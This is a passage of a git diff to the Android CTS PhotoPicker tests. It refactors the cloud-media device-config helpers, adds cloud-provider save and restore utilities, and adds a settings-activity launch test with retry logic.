+ writeDeviceConfigProp(namespace, KEY_CLOUD_MEDIA_FEATURE_ENABLED, true);
assertWithMessage("Failed to update the cloud media feature device config")
- .that(isCloudMediaEnabled())
+ .that(isCloudMediaEnabled(namespace))
.isTrue();
}
-
- static void disableCloudMediaAndClearAllowedCloudProviders() {
- writeDeviceConfigProp(KEY_CLOUD_MEDIA_FEATURE_ENABLED, false);
+ /**
+ * Disable cloud media in the given namespace.
+ */
+ static void disableCloudMediaAndClearAllowedCloudProviders(@NonNull String namespace) {
+ writeDeviceConfigProp(namespace, KEY_CLOUD_MEDIA_FEATURE_ENABLED, false);
assertWithMessage("Failed to update the cloud media feature device config")
- .that(isCloudMediaEnabled())
+ .that(isCloudMediaEnabled(namespace))
.isFalse();
- deleteDeviceConfigProp(KEY_ALLOWED_CLOUD_PROVIDERS);
+ deleteDeviceConfigProp(namespace, KEY_ALLOWED_CLOUD_PROVIDERS);
assertWithMessage("Failed to delete the allowed cloud providers device config")
- .that(getAllowedProvidersDeviceConfig())
+ .that(getAllowedProvidersDeviceConfig(namespace))
.isNull();
}
@@ -173,49 +201,104 @@ public class PhotoPickerCloudUtils {
}
@Nullable
- private static String readDeviceConfigProp(@NonNull String name) {
+ private static String readDeviceConfigProp(@NonNull String namespace, @NonNull String name) {
getUiAutomation().adoptShellPermissionIdentity(READ_DEVICE_CONFIG);
try {
- return DeviceConfig.getProperty(NAMESPACE_MEDIAPROVIDER, name);
+ return DeviceConfig.getProperty(namespace, name);
} finally {
getUiAutomation().dropShellPermissionIdentity();
}
}
- private static void writeDeviceConfigProp(@NonNull String name, boolean value) {
- writeDeviceConfigProp(name, Boolean.toString(value));
+ private static void writeDeviceConfigProp(@NonNull String namespace,
+ @NonNull String key, boolean value) {
+ writeDeviceConfigProp(namespace, key, Boolean.toString(value));
}
- private static void writeDeviceConfigProp(@NonNull String name, @NonNull String value) {
-
+ private static void writeDeviceConfigProp(@NonNull String namespace, @NonNull String name,
+ @NonNull String value) {
getUiAutomation().adoptShellPermissionIdentity(WRITE_DEVICE_CONFIG);
try {
- DeviceConfig.setProperty(NAMESPACE_MEDIAPROVIDER, name, value,
+ DeviceConfig.setProperty(namespace, name, value,
/* makeDefault*/ false);
} finally {
getUiAutomation().dropShellPermissionIdentity();
}
}
- private static void deleteDeviceConfigProp(@NonNull String name) {
+ private static void deleteDeviceConfigProp(@NonNull String namespace, @NonNull String name) {
try {
getUiAutomation().adoptShellPermissionIdentity(WRITE_DEVICE_CONFIG);
if (SdkLevel.isAtLeastU()) {
- DeviceConfig.deleteProperty(NAMESPACE_MEDIAPROVIDER, name);
+ DeviceConfig.deleteProperty(namespace, name);
} else {
// DeviceConfig.deleteProperty API is only available from T onwards.
try {
UiDevice.getInstance(InstrumentationRegistry.getInstrumentation())
.executeShellCommand(
String.format("device_config delete %s %s",
- NAMESPACE_MEDIAPROVIDER, name));
+ namespace, name));
} catch (IOException e) {
- Log.e(TAG, "Could not delete device_config " + name, e);
+ Log.e(TAG, String.format("Could not delete device_config %s / %s",
+ namespace, name), e);
}
}
} finally {
getUiAutomation().dropShellPermissionIdentity();
}
}
+
+ /**
+ * Set cloud provider in the device to the provided authority.
+ * If the provided cloud authority equals {@link PhotoPickerBaseTest#INVALID_CLOUD_PROVIDER},
+ * the cloud provider will not be updated.
+ */
+ public static void setCloudProvider(@Nullable UiDevice sDevice,
+ @Nullable String authority) throws IOException {
+ if (INVALID_CLOUD_PROVIDER.equals(authority)) {
+ Log.w(TAG, "Cloud provider is invalid. "
+ + "Ignoring the request to set the cloud provider to invalid");
+ return;
+ }
+ if (authority == null) {
+ sDevice.executeShellCommand(
+ "content call"
+ + " --user " + UserHandle.myUserId()
+ + " --uri content://media/ --method set_cloud_provider --extra"
+ + " cloud_provider:n:null");
+ } else {
+ sDevice.executeShellCommand(
+ "content call"
+ + " --user " + UserHandle.myUserId()
+ + " --uri content://media/ --method set_cloud_provider --extra"
+ + " cloud_provider:s:"
+ + authority);
+ }
+ }
+
+ /**
+ * @return the current cloud provider.
+ */
+ public static String getCurrentCloudProvider(UiDevice sDevice) throws IOException {
+ final String out =
+ sDevice.executeShellCommand(
+ "content call"
+ + " --user " + UserHandle.myUserId()
+ + " --uri content://media/ --method get_cloud_provider");
+ return extractCloudProvider(out);
+ }
+
+ private static String extractCloudProvider(String out) {
+ String[] splitOutput;
+ if (TextUtils.isEmpty(out) || ((splitOutput = out.split("=")).length < 2)) {
+ throw new RuntimeException("Could not get current cloud provider. Output: " + out);
+ }
+ String cloudprovider = splitOutput[1];
+ cloudprovider = cloudprovider.substring(0, cloudprovider.length() - 3);
+ if (cloudprovider.equals("null")) {
+ return null;
+ }
+ return cloudprovider;
+ }
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerSettingsTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerSettingsTest.java
index 08639ae26e8..78b3ae8c247 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerSettingsTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerSettingsTest.java
@@ -16,28 +16,33 @@
package android.photopicker.cts;
-import static android.photopicker.cts.PhotoPickerCloudUtils.disableCloudMediaAndClearAllowedCloudProviders;
-import static android.photopicker.cts.PhotoPickerCloudUtils.enableCloudMediaAndSetAllowedCloudProviders;
-import static android.photopicker.cts.PhotoPickerCloudUtils.getAllowedProvidersDeviceConfig;
-import static android.photopicker.cts.PhotoPickerCloudUtils.isCloudMediaEnabled;
+import static android.photopicker.cts.PhotoPickerCloudUtils.disableDeviceConfigSync;
+import static android.photopicker.cts.util.PhotoPickerComponentUtils.PICKER_SETTINGS_ACTIVITY_COMPONENT;
import static android.photopicker.cts.util.PhotoPickerUiUtils.REGEX_PACKAGE_NAME;
import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
import static android.photopicker.cts.util.PhotoPickerUiUtils.isPhotoPickerVisible;
import static android.photopicker.cts.util.PhotoPickerUiUtils.verifySettingsActionBarIsVisible;
import static android.photopicker.cts.util.PhotoPickerUiUtils.verifySettingsActivityIsVisible;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.verifySettingsCloudProviderOptionIsVisible;
import static android.photopicker.cts.util.PhotoPickerUiUtils.verifySettingsDescriptionIsVisible;
import static android.photopicker.cts.util.PhotoPickerUiUtils.verifySettingsFragmentContainerExists;
import static android.photopicker.cts.util.PhotoPickerUiUtils.verifySettingsTitleIsVisible;
import static com.google.common.truth.Truth.assertWithMessage;
+import android.content.ActivityNotFoundException;
import android.content.Intent;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
import android.os.Build;
import android.os.UserHandle;
+import android.photopicker.cts.util.PhotoPickerComponentUtils;
import android.photopicker.cts.util.PhotoPickerUiUtils;
import android.provider.MediaStore;
+import android.util.Log;
import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
import androidx.test.filters.LargeTest;
import androidx.test.filters.SdkSuppress;
import androidx.test.uiautomator.UiObject;
@@ -45,66 +50,80 @@ import androidx.test.uiautomator.UiObjectNotFoundException;
import androidx.test.uiautomator.UiSelector;
import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
import com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile;
+import com.android.modules.utils.build.SdkLevel;
import org.junit.After;
-import org.junit.AfterClass;
import org.junit.Assume;
-import org.junit.BeforeClass;
+import org.junit.Before;
+import org.junit.ClassRule;
+import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
/**
- * Photo Picker tests for settings page launched from the overflow menu in PhotoPickerActivity or
- * the Settings app.
+ * Photo Picker tests for settings activity launched from PhotoPickerActivity or intent.
*/
-// TODO(b/195009187): Enabling settings page requires setting allowed_cloud_providers device config.
-// We currently can't do this in R.
@RunWith(BedsteadJUnit4.class)
-@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public class PhotoPickerSettingsTest extends PhotoPickerBaseTest {
-
- private static boolean sCloudMediaPreviouslyEnabled;
- private static String sPreviouslyAllowedCloudProviders;
+ private static final String TAG = PhotoPickerSettingsTest.class.getSimpleName();
private static final String EXTRA_TAB_USER_ID = "user_id";
private static final String TAB_CONTAINER_RESOURCE_ID =
REGEX_PACKAGE_NAME + ":id/tab_container";
private static final String TAB_LAYOUT_RESOURCE_ID = REGEX_PACKAGE_NAME + ":id/tabs";
private static final String PERSONAL_TAB_TITLE_ENGLISH = "Personal";
private static final String WORK_TAB_TITLE_ENGLISH = "Work";
+ private static final String DEFAULT_APP_LABEL = "Photo Picker Device Tests";
+ private static int sPhotoPickerSettingsActivityState;
+ private Intent mSettingsIntent;
+ @Nullable
+ private static DeviceStatePreserver sDeviceStatePreserver;
- @BeforeClass
- public static void setUpBeforeClass() {
- // Store the current CMP configs, so that we can reset them at the end of the test.
- sCloudMediaPreviouslyEnabled = isCloudMediaEnabled();
- if (sCloudMediaPreviouslyEnabled) {
- sPreviouslyAllowedCloudProviders = getAllowedProvidersDeviceConfig();
- }
+ @ClassRule @Rule
+ public static final DeviceState sDeviceState = new DeviceState();
- // Enable Settings menu item in PhotoPickerActivity's overflow menu.
- PhotoPickerCloudUtils.enableCloudMediaAndSetAllowedCloudProviders(
- /* allowedCloudProviders */ sTargetPackageName);
- }
+ @Before
+ public void setUp() throws Exception {
+ super.setUp();
- @AfterClass
- public static void tearDownClass() {
- // Reset CloudMedia configs.
- if (sCloudMediaPreviouslyEnabled) {
- enableCloudMediaAndSetAllowedCloudProviders(sPreviouslyAllowedCloudProviders);
- } else {
- disableCloudMediaAndClearAllowedCloudProviders();
+ sPhotoPickerSettingsActivityState = PhotoPickerComponentUtils
+ .enableAndGetOldState(PICKER_SETTINGS_ACTIVITY_COMPONENT);
+
+ mSettingsIntent = new Intent(MediaStore.ACTION_PICK_IMAGES_SETTINGS);
+
+ // Only enable cloud media in S+ because R cannot use Device Config APIs.
+ if (SdkLevel.isAtLeastS()) {
+ sDeviceStatePreserver = new DeviceStatePreserver(sDevice);
+ sDeviceStatePreserver.saveCurrentCloudProviderState();
+ disableDeviceConfigSync();
+
+ // Enable Settings menu item in PhotoPickerActivity's overflow menu.
+ PhotoPickerCloudUtils.enableCloudMediaAndSetAllowedCloudProviders(
+ /* allowedCloudProviders */ sTargetPackageName);
}
}
@After
- public void tearDown() {
+ public void tearDown() throws Exception {
if (mActivity != null) {
mActivity.finish();
}
+
+ PhotoPickerComponentUtils.setState(PICKER_SETTINGS_ACTIVITY_COMPONENT,
+ sPhotoPickerSettingsActivityState);
+
+ // Reset CloudMedia configs.
+ if (SdkLevel.isAtLeastS()) {
+ sDeviceStatePreserver.restoreCloudProviderState();
+ }
}
@Test
+ @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public void testSettingsLaunchFromOverflowMenu_WorkDisabled() throws Exception {
+ String cmpAppLabel = getCmpAppLabel();
+
// Launch PhotoPickerActivity.
final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
mActivity.startActivityForResult(intent, REQUEST_CODE);
@@ -121,6 +140,7 @@ public class PhotoPickerSettingsTest extends PhotoPickerBaseTest {
verifySettingsTitleIsVisible();
verifySettingsDescriptionIsVisible();
verifySettingsFragmentContainerExists();
+ verifySettingsCloudProviderOptionIsVisible(cmpAppLabel);
// Verify Tab container (to switch profiles) is not visible since Work profile is disabled.
verifySettingsTabContainerIsNotVisible();
@@ -129,11 +149,10 @@ public class PhotoPickerSettingsTest extends PhotoPickerBaseTest {
@Test
@LargeTest
@RequireRunOnWorkProfile
+ @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public void testSettingsLaunchedInPersonalProfile_WorkEnabled() throws Exception {
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES_SETTINGS);
-
- mActivity.startActivityForResult(intent, REQUEST_CODE);
- sDevice.waitForIdle();
+ mSettingsIntent.putExtra(EXTRA_TAB_USER_ID, sDeviceState.initialUser().id());
+ launchSettingsActivityWithRetry(/* retryCount */ 3, /* backoffSeedInMillis */ 500);
verifySettingsActivityIsVisible();
verifySettingsTabContainerIsVisible();
@@ -144,12 +163,10 @@ public class PhotoPickerSettingsTest extends PhotoPickerBaseTest {
@Test
@LargeTest
@RequireRunOnWorkProfile
+ @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public void testSettingsLaunchedInWorkProfile() throws Exception {
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES_SETTINGS);
- intent.putExtra(EXTRA_TAB_USER_ID, UserHandle.myUserId());
-
- mActivity.startActivityForResult(intent, REQUEST_CODE);
- sDevice.waitForIdle();
+ mSettingsIntent.putExtra(EXTRA_TAB_USER_ID, UserHandle.myUserId());
+ launchSettingsActivityWithRetry(/* retryCount */ 3, /* backoffSeedInMillis */ 500);
verifySettingsActivityIsVisible();
verifySettingsTabContainerIsVisible();
@@ -179,4 +196,57 @@ public class PhotoPickerSettingsTest extends PhotoPickerBaseTest {
private static UiObject findObject(@NonNull String resourceId) {
return sDevice.findObject(new UiSelector().resourceIdMatches(resourceId));
}
+
+ @Test
+ // This test is required for API coverage in Android R
+ public void testSettingsLaunchFromIntent() throws InterruptedException {
+ // Launch PhotoPickerSettingsActivity.
+ launchSettingsActivityWithRetry(/* retryCount */ 3, /* backoffSeedInMillis */ 500);
+
+ // Verify PhotoPickerSettingsActivity is launched and visible.
+ verifySettingsActivityIsVisible();
+ verifySettingsActionBarIsVisible();
+ verifySettingsTitleIsVisible();
+ verifySettingsDescriptionIsVisible();
+ verifySettingsFragmentContainerExists();
+ }
+
+
+ private void launchSettingsActivityWithRetry(long maxRetries, long backoffSeedInMillis)
+ throws InterruptedException {
+ for (int attempt = 0; attempt <= maxRetries; attempt++) {
+ if (attempt > 0) {
+ // If the Settings Activity component has been recently enabled, it may take some
+ // time for the resolver to resolve the intent to the right activity.
+ long backoffTimeInMillis = backoffSeedInMillis * (2 ^ (attempt - 1));
+ Log.e(TAG, "Retry launching activity for " + mSettingsIntent
+ + " after backoff " + backoffTimeInMillis);
+ Thread.sleep(backoffTimeInMillis);
+ }
+
+ try {
+ mActivity.startActivity(mSettingsIntent);
+ sDevice.waitForIdle();
+ return;
+ } catch (ActivityNotFoundException e) {
+ Log.e(TAG, "Activity not found for intent " + mSettingsIntent);
+ }
+ }
+
+ Log.e(TAG, "Intent " + mSettingsIntent + " does not resolve to any component.");
+ throw new AssertionError("Cannot find activity for intent " + mSettingsIntent);
+ }
+
+ @NonNull
+ private String getCmpAppLabel() {
+ PackageManager pm = mContext.getPackageManager();
+ {
+ try {
+ ApplicationInfo applicationInfo = pm.getApplicationInfo(sTargetPackageName, 0);
+ return (String) pm.getApplicationLabel(applicationInfo);
+ } catch (PackageManager.NameNotFoundException e) {
+ return DEFAULT_APP_LABEL;
+ }
+ }
+ }
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
index 293cbacd05c..3d7e6f19281 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
@@ -16,8 +16,7 @@
package android.photopicker.cts;
-import static android.photopicker.cts.util.GetContentActivityAliasUtils.clearPackageData;
-import static android.photopicker.cts.util.GetContentActivityAliasUtils.getDocumentsUiPackageName;
+import static android.photopicker.cts.util.PhotoPickerComponentUtils.GET_CONTENT_ACTIVITY_COMPONENT;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImageWithUnknownMimeType;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImagesAndGetUris;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createMj2VideosAndGetUris;
@@ -26,6 +25,8 @@ import static android.photopicker.cts.util.PhotoPickerFilesUtils.createSvgImage;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createVideoWithUnknownMimeType;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createVideosAndGetUris;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
+import static android.photopicker.cts.util.PhotoPickerPackageUtils.clearPackageData;
+import static android.photopicker.cts.util.PhotoPickerPackageUtils.getDocumentsUiPackageName;
import static android.photopicker.cts.util.PhotoPickerUiUtils.REGEX_PACKAGE_NAME;
import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
import static android.photopicker.cts.util.PhotoPickerUiUtils.clickAndWait;
@@ -49,7 +50,7 @@ import android.media.AudioAttributes;
import android.media.AudioFocusRequest;
import android.media.AudioManager;
import android.net.Uri;
-import android.photopicker.cts.util.GetContentActivityAliasUtils;
+import android.photopicker.cts.util.PhotoPickerComponentUtils;
import android.provider.MediaStore;
import androidx.test.uiautomator.UiObject;
@@ -92,7 +93,8 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
public void setUp() throws Exception {
super.setUp();
- sGetContentTakeOverActivityAliasState = GetContentActivityAliasUtils.enableAndGetOldState();
+ sGetContentTakeOverActivityAliasState = PhotoPickerComponentUtils
+ .enableAndGetOldState(GET_CONTENT_ACTIVITY_COMPONENT);
clearPackageData(getDocumentsUiPackageName());
}
@@ -107,7 +109,8 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
mActivity.finish();
}
- GetContentActivityAliasUtils.restoreState(sGetContentTakeOverActivityAliasState);
+ PhotoPickerComponentUtils.setState(GET_CONTENT_ACTIVITY_COMPONENT,
+ sGetContentTakeOverActivityAliasState);
}
@Test
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java b/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java
index 48c4a1dabfa..67661d93171 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java
@@ -15,10 +15,9 @@
*/
package android.photopicker.cts;
-import static android.photopicker.cts.PhotoPickerCloudUtils.disableCloudMediaAndClearAllowedCloudProviders;
+
+import static android.photopicker.cts.PhotoPickerCloudUtils.disableDeviceConfigSync;
import static android.photopicker.cts.PhotoPickerCloudUtils.enableCloudMediaAndSetAllowedCloudProviders;
-import static android.photopicker.cts.PhotoPickerCloudUtils.getAllowedProvidersDeviceConfig;
-import static android.photopicker.cts.PhotoPickerCloudUtils.isCloudMediaEnabled;
import static android.photopicker.cts.PickerProviderMediaGenerator.syncCloudProvider;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
import static android.photopicker.cts.util.PhotoPickerUiUtils.REGEX_PACKAGE_NAME;
@@ -77,7 +76,7 @@ import java.util.List;
@RunWith(AndroidJUnit4.class)
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public class RemoteVideoPreviewTest extends PhotoPickerBaseTest {
-
+ private static final String TAG = RemoteVideoPreviewTest.class.getSimpleName();
private MediaGenerator mCloudPrimaryMediaGenerator;
private final List<Uri> mUriList = new ArrayList<>();
@@ -92,19 +91,14 @@ public class RemoteVideoPreviewTest extends PhotoPickerBaseTest {
private CloudMediaSurfaceControllerImpl mSurfaceControllerListener;
// This is required to assert the order in which the APIs are called.
private InOrder mAssertInOrder;
- private static boolean sCloudMediaPreviouslyEnabled;
- private static String sPreviouslyAllowedCloudProviders;
@Nullable
- private static String sPreviouslySetCloudProvider;
+ private static DeviceStatePreserver sDeviceStatePreserver;
@BeforeClass
public static void setUpBeforeClass() throws IOException {
- // Store the current CMP configs, so that we can reset them at the end of the test.
- sCloudMediaPreviouslyEnabled = isCloudMediaEnabled();
- if (sCloudMediaPreviouslyEnabled) {
- sPreviouslyAllowedCloudProviders = getAllowedProvidersDeviceConfig();
- }
- sPreviouslySetCloudProvider = getCurrentCloudProvider();
+ sDeviceStatePreserver = new DeviceStatePreserver(sDevice);
+ sDeviceStatePreserver.saveCurrentCloudProviderState();
+ disableDeviceConfigSync();
// This is a self-instrumentation test, so both "target" package name and "own" package name
// should be the same (android.photopicker.cts).
@@ -113,13 +107,7 @@ public class RemoteVideoPreviewTest extends PhotoPickerBaseTest {
@AfterClass
public static void tearDownClass() throws Exception {
- // Reset CloudMedia configs.
- if (sCloudMediaPreviouslyEnabled) {
- enableCloudMediaAndSetAllowedCloudProviders(sPreviouslyAllowedCloudProviders);
- } else {
- disableCloudMediaAndClearAllowedCloudProviders();
- }
- setCloudProvider(sPreviouslySetCloudProvider);
+ sDeviceStatePreserver.restoreCloudProviderState();
}
@Before
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/GetContentActivityAliasUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerComponentUtils.java
index a2b4a21c0ae..9a260526776 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/util/GetContentActivityAliasUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerComponentUtils.java
@@ -16,88 +16,89 @@
package android.photopicker.cts.util;
-import static android.provider.MediaStore.ACTION_PICK_IMAGES;
+import static android.photopicker.cts.util.PhotoPickerPackageUtils.getPhotoPickerPackageName;
import android.Manifest;
import android.app.Instrumentation;
import android.content.ComponentName;
-import android.content.Intent;
import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
import androidx.annotation.NonNull;
-import androidx.test.InstrumentationRegistry;
+import androidx.test.platform.app.InstrumentationRegistry;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.TimeoutException;
import java.util.function.Supplier;
-public class GetContentActivityAliasUtils {
+/**
+ * Util methods for Photo Picker related components.
+ */
+public class PhotoPickerComponentUtils {
private static final long POLLING_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(5);
private static final long POLLING_SLEEP_MILLIS = 100;
- private static ComponentName sComponentName = new ComponentName(
+ public static final ComponentName GET_CONTENT_ACTIVITY_COMPONENT = new ComponentName(
getPhotoPickerPackageName(),
"com.android.providers.media.photopicker.PhotoPickerGetContentActivity");
- public static int enableAndGetOldState() throws Exception {
+ public static final ComponentName PICKER_SETTINGS_ACTIVITY_COMPONENT = new ComponentName(
+ getPhotoPickerPackageName(),
+ "com.android.providers.media.photopicker.PhotoPickerSettingsActivity");
+
+ /**
+ * Returns the current state of the given component and enables it.
+ */
+ public static int enableAndGetOldState(@NonNull ComponentName componentName) throws Exception {
final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
final PackageManager packageManager = inst.getContext().getPackageManager();
if (isComponentEnabledSetAsExpected(packageManager,
+ componentName,
PackageManager.COMPONENT_ENABLED_STATE_ENABLED)) {
return PackageManager.COMPONENT_ENABLED_STATE_ENABLED;
}
- final int currentState = packageManager.getComponentEnabledSetting(sComponentName);
+ final int currentState = packageManager.getComponentEnabledSetting(componentName);
updateComponentEnabledSetting(packageManager,
+ componentName,
PackageManager.COMPONENT_ENABLED_STATE_ENABLED);
return currentState;
}
- public static void restoreState(int oldState) throws Exception {
- final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
- updateComponentEnabledSetting(inst.getContext().getPackageManager(), oldState);
- }
-
/**
- * Clears the package data.
+ * Sets state of the given component to the given state.
*/
- public static void clearPackageData(String packageName) throws Exception {
- InstrumentationRegistry.getInstrumentation().getUiAutomation()
- .executeShellCommand("pm clear " + packageName);
-
- // We should ideally be listening to an effective measure to know if package data was
- // cleared, like listening to a broadcasts or checking a value. But that information is
- // very package private and not available.
- Thread.sleep(500);
- }
-
- public static String getDocumentsUiPackageName() {
- final Intent intent = new Intent(Intent.ACTION_OPEN_DOCUMENT);
- intent.setType("*/*");
- return getActivityPackageNameFromIntent(intent);
+ public static void setState(@NonNull ComponentName componentName, int oldState)
+ throws Exception {
+ final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
+ updateComponentEnabledSetting(inst.getContext().getPackageManager(),
+ componentName, oldState);
}
- private static void updateComponentEnabledSetting(PackageManager packageManager,
+ private static void updateComponentEnabledSetting(
+ @NonNull PackageManager packageManager,
+ @NonNull ComponentName componentName,
int state) throws Exception {
final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
inst.getUiAutomation().adoptShellPermissionIdentity(
Manifest.permission.CHANGE_COMPONENT_ENABLED_STATE);
try {
- packageManager.setComponentEnabledSetting(sComponentName, state,
+ packageManager.setComponentEnabledSetting(componentName, state,
PackageManager.DONT_KILL_APP);
} finally {
inst.getUiAutomation().dropShellPermissionIdentity();
}
- waitForComponentToBeInExpectedState(packageManager, state);
+ waitForComponentToBeInExpectedState(packageManager, componentName, state);
}
- private static void waitForComponentToBeInExpectedState(PackageManager packageManager,
+ private static void waitForComponentToBeInExpectedState(
+ @NonNull PackageManager packageManager,
+ @NonNull ComponentName componentName,
int state) throws Exception {
- pollForCondition(() -> isComponentEnabledSetAsExpected(packageManager, state),
+ pollForCondition(() ->
+ isComponentEnabledSetAsExpected(packageManager, componentName, state),
"Timed out while waiting for component to be enabled");
}
@@ -112,20 +113,9 @@ public class GetContentActivityAliasUtils {
throw new TimeoutException(errorMessage);
}
- private static boolean isComponentEnabledSetAsExpected(PackageManager packageManager,
+ private static boolean isComponentEnabledSetAsExpected(@NonNull PackageManager packageManager,
+ @NonNull ComponentName componentName,
int state) {
- return packageManager.getComponentEnabledSetting(sComponentName) == state;
- }
-
- @NonNull
- private static String getPhotoPickerPackageName() {
- return getActivityPackageNameFromIntent(new Intent(ACTION_PICK_IMAGES));
- }
-
- @NonNull
- private static String getActivityPackageNameFromIntent(@NonNull Intent intent) {
- final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
- final ResolveInfo ri = inst.getContext().getPackageManager().resolveActivity(intent, 0);
- return ri.activityInfo.packageName;
+ return packageManager.getComponentEnabledSetting(componentName) == state;
}
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java
index 9a39a4006cc..8c2641239e9 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java
@@ -87,7 +87,7 @@ public class PhotoPickerFilesUtils {
return createdImagesData;
}
- public static Pair<Uri, String> createImage(int userId, boolean isFavorite) throws Exception {
+ private static Pair<Uri, String> createImage(int userId, boolean isFavorite) throws Exception {
return getPermissionAndStageMedia(R.raw.lg_g4_iso_800_jpg,
MediaStore.Images.Media.EXTERNAL_CONTENT_URI, "image/jpeg", userId, isFavorite);
}
@@ -118,6 +118,15 @@ public class PhotoPickerFilesUtils {
return uriList;
}
+ /**
+ * Return media id from a given Uri
+ * @param Uri uri to parse
+ * @return String media id
+ */
+ public static String getMediaId(Uri uri) throws Exception {
+ return uri.getLastPathSegment();
+ }
+
public static void deleteMedia(Uri uri, Context context) throws Exception {
try {
ProviderTestUtils.setOwner(uri, context.getPackageName());
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerPackageUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerPackageUtils.java
new file mode 100644
index 00000000000..f767d7a8f6e
--- /dev/null
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerPackageUtils.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.photopicker.cts.util;
+
+import static android.provider.MediaStore.ACTION_PICK_IMAGES;
+
+import android.app.Instrumentation;
+import android.content.Intent;
+import android.content.pm.ResolveInfo;
+
+import androidx.annotation.NonNull;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+public class PhotoPickerPackageUtils {
+ /**
+ * Clears the package data.
+ */
+ public static void clearPackageData(String packageName) throws Exception {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .executeShellCommand("pm clear " + packageName);
+
+ // We should ideally be listening to an effective measure to know if package data was
+ // cleared, like listening to a broadcasts or checking a value. But that information is
+ // very package private and not available.
+ Thread.sleep(500);
+ }
+
+ /**
+ * Return package name of Documents UI.
+ */
+ @NonNull
+ public static String getDocumentsUiPackageName() {
+ final Intent intent = new Intent(Intent.ACTION_OPEN_DOCUMENT);
+ intent.setType("*/*");
+ return getActivityPackageNameFromIntent(intent);
+ }
+
+ /**
+ * Return the package name of the given intent.
+ */
+ @NonNull
+ public static String getActivityPackageNameFromIntent(@NonNull Intent intent) {
+ final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
+ final ResolveInfo ri = inst.getContext().getPackageManager().resolveActivity(intent, 0);
+ return ri.activityInfo.packageName;
+ }
+
+ @NonNull
+ public static String getPhotoPickerPackageName() {
+ return getActivityPackageNameFromIntent(new Intent(ACTION_PICK_IMAGES));
+ }
+}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java
index b4643151f4b..2bbe69ea7b4 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java
@@ -20,6 +20,7 @@ import static com.google.common.truth.Truth.assertWithMessage;
import android.text.format.DateUtils;
+import androidx.annotation.NonNull;
